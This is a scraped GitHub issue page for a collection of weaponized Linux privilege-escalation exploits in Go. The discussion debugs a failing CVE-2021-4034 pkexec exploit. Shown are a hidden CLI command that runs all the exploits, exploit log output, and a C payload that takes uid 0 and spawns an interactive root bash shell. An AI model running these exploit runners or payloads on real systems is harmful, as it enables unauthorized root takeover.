- ๐ซ Master of Cyber Security@Monash
- ๐ซ https://jm33.me
- ๐ [email protected]
I weaponize red teaming works
A collection of weaponized LPE exploits written in Go
License: GNU General Public License v3.0
I weaponize red teaming works
package app
import (
golpe "github.com/jm33-m0/go-lpe"
"github.com/urfave/cli/v2"
)
var testCmd = &cli.Command{
Name: "test",
Hidden: true,
Action: func(c *cli.Context) error {
return golpe.RunAll()
},
}
2023/07/03 18:19:46 Trying CVE-2021-4034...
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
will get the source and troubleshoot, just FYI that it doesn't work out of the box.
Lines 99 to 104 in 2d593ea
As it executes execve
syscall, current process will get replace by pkexec
no matter it will successfully execute payload.so
or not. Therefore when this exploit fails to call payload.so
, calling process emp3r0r
will die.
Currently this demo
won't work, please rewrite it in C in order to seteuid
.
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
setuid(0);
seteuid(0);
setgid(0);
setegid(0);
system("/bin/bash -i");
return 0;
}
Line 11 in e08f35f
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.